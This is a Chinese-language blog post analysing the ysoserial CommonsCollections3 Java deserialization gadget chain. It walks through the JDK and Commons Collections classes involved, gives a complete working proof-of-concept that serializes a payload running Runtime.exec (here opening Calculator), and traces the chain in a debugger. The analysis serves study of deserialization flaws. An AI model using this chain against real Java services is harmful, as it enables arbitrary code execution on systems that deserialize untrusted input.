Ysoserial Commons Collections3分析

写在前面

同时javassist版本最好也要与yso中的版本一致,高版本的javassist也会抛出异常,建议JDK7u21+javassist:3.12.0.GA

前置知识

简单lou了一眼,这条链是cc1和cc2的结合版本,基本都是之前分析过的内容,但是考虑到cc1部分已经隔了很久了有些东西遗忘了,还是重新回顾下,温故而知新。

CtClass.makeClassInitializer().setBody()

在该Ctclass对象内设置一段静态代码块 ,创建一个静态代码块。

下面代码将静态代码块内容设置为弹calc,可参考之前cc2分析文章的方法,生成.class文件来看看文件内容。

ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");

Ysoserial Commons Collections3分析-LMLPHP

ConstantTransformer

在该类开头的注释作者已经写的很明白了,主要用作每次返回相同constant的Transformer

观察源码, 在创建实例化对象时将传入的参数Object constantToReturn赋值给属性iConstant并在调用transform()或getConstant()方法时返回iConstant的值

Ysoserial Commons Collections3分析-LMLPHP

ChainedTransformer

这个类中核心方法为重写的transform方法。该方法会对传入的可迭代参数进行遍历,并依次调用可迭代对象中每个元素的transform方法且上一次调用的transform方法返回值会作为下一个元素调用transfrom方法的参数

Ysoserial Commons Collections3分析-LMLPHP

TemplatesImpl

在这个类中主要需要注意3个方法defineTransletClasses()getTransletInstance()newTransformer()

利用思路大致为:预先通过反射将恶意类的bytes数组赋值给该类的属性_bytecodes,之后以newTransformer()作为入口点,调用getTransletInstance()方法,进而调用defineTransletClasses()方法(需要在之前的if判断中_name不为null) 通过ClassLoader#defineClass()加载_bytecodes,且通过判断_bytecodes代表的类的父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet_transletIndex属性重新赋值为0,最后回到newTransformer()方法中实例化恶意类进而触发静态代码块中的代码执行。

private void defineTransletClasses()
  throws TransformerConfigurationException {

  if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
  }

  TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
      public Object run() {
        return new TransletClassLoader(ObjectFactory.findClassLoader());
      }
    });

  try {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    if (classCount > 1) {
      _auxClasses = new Hashtable();
    }

    for (int i = 0; i < classCount; i++) {
      _class[i] = loader.defineClass(_bytecodes[i]);
      final Class superClass = _class[i].getSuperclass();

      // Check if this is the main class
      if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
      }
      else {
        _auxClasses.put(_class[i].getName(), _class[i]);
      }
    }

    if (_transletIndex < 0) {
      ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
      throw new TransformerConfigurationException(err.toString());
    }
  }
  catch (ClassFormatError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
  catch (LinkageError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
}

/**
     * This method generates an instance of the translet class that is
     * wrapped inside this Template. The translet instance will later
     * be wrapped inside a Transformer object.
     */
private Translet getTransletInstance()
  throws TransformerConfigurationException {
  try {
    if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setServicesMechnism(_useServicesMechanism);
    if (_auxClasses != null) {
      translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
  }
  catch (InstantiationException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
  catch (IllegalAccessException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
}

/**
     * Implements JAXP's Templates.newTransformer()
     *
     * @throws TransformerConfigurationException
     */
public synchronized Transformer newTransformer()
  throws TransformerConfigurationException
{
  TransformerImpl transformer;

  transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                    _indentNumber, _tfactory);

  if (_uriResolver != null) {
    transformer.setURIResolver(_uriResolver);
  }

  if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
    transformer.setSecureProcessing(true);
  }
  return transformer;
}

动态代理与LazyMap.get()

动态代理

一般创建动态代理时会用到java.lang.reflect.Proxy类,和java.lang.reflect.InvocationHandler接口。

主要通过Proxy.newProxyInstance方法创建代理对象

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
            throws IllegalArgumentException {
        ...
    }

InvocationHandler

其中处理器也即处理程序一般为InvocationHandler,该接口只有一个invoke方法用作调用代理类中的方法,在创建代理类时需要重写该方法。

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println("代理方法执行了");
            }

而在cc1中InvocationHandler的实现类AnnotationInvocationHandler类的invoke方法会调用LazyMap.get()

动态代理有一个最重要的特点即:在与方法关联的代理实例上调用方法时,将在调用处理程序上调用invoke方法

AnnotationInvocationHandler

这里有必要提一下AnnotationInvocationHandler类

AnnotationInvocationHandler实现了InvocationHandler接口,并且重写了readObject方法,而在readObject方法会调用entrySet方法进而触发动态代理机制调用invoke方法进而调用LazyMap.get()

LazyMap.get()

LazyMap继承了抽象类AbstractMapDecorator,LazyMap类的构造方法也被protected修饰,不可以直接new,需要调用decorate方法来生成LazyMap的实例化对象。而在LazyMap的get方法中会调用transform方法

Ysoserial Commons Collections3分析-LMLPHP

InstantiateTransformer

该类中有两个属性iParamTypesiArgs,在调用有参构造的时候会将传入的数组分别赋值给这两个属性。

该类的transform方法会通过反射实例化一个对象出来

Ysoserial Commons Collections3分析-LMLPHP

TrAXFilter

新出现的一个类,观察源码,有参构造会调用传入Templates类型参数的newTransformer方法

Ysoserial Commons Collections3分析-LMLPHP

PoC分析

poc

package cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;


public class cc3 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();


        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
        inputStream.close();


    }
}

还是先拆开分析poc再整体调反序列化部分。

第一部分

首先是定义了两个String类型的AbstractTransletTemplatesImpl,之后通过javassist写了个恶意类,类名为CommonsCollections333333333,设置父类为AbstractTranslet,并将弹计算器的payload写入该类静态代码块;之后将该类转换为byte数组,通过反射将TemplatesImpl的属性_bytecodes赋值为恶意类经转换后的byte数组;继续通过反射将TemplatesImpl的属性赋值为test(只要不为null即可)

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);		//设置父类为AbstractTranslet
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");

byte[] bytes=payload.toBytecode();

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");

第二部分

 Transformer[] transformers=new Transformer[]{
   new ConstantTransformer(TrAXFilter.class),
   new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
 };

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);

定义了数组transformers,该数组第一个元素为new ConstantTransformer(TrAXFilter.class)走ConstantTransformer的有参构造会将ConstantTransformer的属性iConstant赋值为TrAXFilter的class对象;该数组第二个元素为new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})将InstantiateTransformer类的属性iParamTypesiArgs分别赋值为new Class[]{Templates.class},new Object[]{templatesImpl}

Ysoserial Commons Collections3分析-LMLPHP

之后将该数组赋值给了ChainedTransformer chainedTransformer并作为LazyMap.decorate()方法的参数创建LazyMap对象;之后通过反射拿到AnnotationInvocationHandler类的构造方法并将LazyMap对象作为构造方法参数创建动态代理时需要的处理器invocationHandler;之后创建动态代理LazyMap的代理类map1并作为参数通过AnnotationInvocationHandler类的构造方法获得AnnotationInvocationHandler的实例化对象object。

最后把object序列化再反序列化即会触发poc。

下面调试一遍跟一下

调试分析

在AnnotationInvocationHandler中readObject下断点,debug

Ysoserial Commons Collections3分析-LMLPHP

跟进到entrySet,此时memberValues为被代理的LazyMap对象(上面传入的map1)所以根据动态代理的机制会调用动态代理中处理器的invoke方法,在invoke处也下个断点,F9跟一下

Ysoserial Commons Collections3分析-LMLPHP

调用了LazyMap的get方法,此时factory为ChainedTransformer对象,这里调用了ChainedTransformer对象的transform方法,继续跟进

Ysoserial Commons Collections3分析-LMLPHP

进入ChainedTransformer的transform方法,第一个元素是ConstantTransformer对象,先调用其transform方法,ConstantTransformer的transform方法会返回iConstant,而我们在构造poc时new的transformers数组中第一个元素new ConstantTransformer(TrAXFilter.class)在new的时候已经将iConstant赋值为TrAXFilter的class对象,也是这里第一次返回的object

Ysoserial Commons Collections3分析-LMLPHP

在第二次循环时,将第一次的object作为InstantiateTransformer#transform方法的参数,该方法通过反射先拿到input参数(也就是我们传入的object即为TrAXFilter对象)的构造方法

Ysoserial Commons Collections3分析-LMLPHP

在TrAXFilter的构造方法中调用了TemplatesImpl的neTransformer方法,继续跟进

Ysoserial Commons Collections3分析-LMLPHP

调用了getTransletInstance()方法

Ysoserial Commons Collections3分析-LMLPHP

因为我们构造poc时反射设置了_name的值为test,跳过第一个if,走进第二个if中的defineTransletClasses()方法

Ysoserial Commons Collections3分析-LMLPHP

在defineTransletClasses()方法中通过ClassLoader#defineClass()加载恶意类的byte数组,之后将_transletIndex属性赋值为0

Ysoserial Commons Collections3分析-LMLPHP

后续跳回getTransletInstance()方法实例化该恶意类触发静态代码块中代码执行

Ysoserial Commons Collections3分析-LMLPHP

Ysoserial Commons Collections3分析-LMLPHP

Gadget Chain

AnnotationInvocationHandler#readobject
	(proxy)lazyMap#entrySet
		AnnotationInvocationHandler#invoke
			lazyMap#get
				ChainedTransformer#transform
					ConstantTransformer#transform
					InstantiateTransformer#transform
						TrAXFilter(构造方法)
							TemplatesImpl#newTransformer
								TemplatesImpl#getTransletInstance
									TemplatesImpl#defineTransletClasses
										恶意类.newInstance()
											Runtime.exec()

End

CC3这条链应该算是CC1和CC2的结合体了,反序列化触发点为AnnotationInvocationHandler#readobject之后到

ChainedTransformer构造这里比较有意思,是通过InstantiateTransformer类,利用该类中transform方法会通过反射获取构造方法,结合TrAXFilter类的构造方法刚好可以调用TemplatesImpl#newTransformer来进入CC2部分到达任意代码执行。

10-14 10:25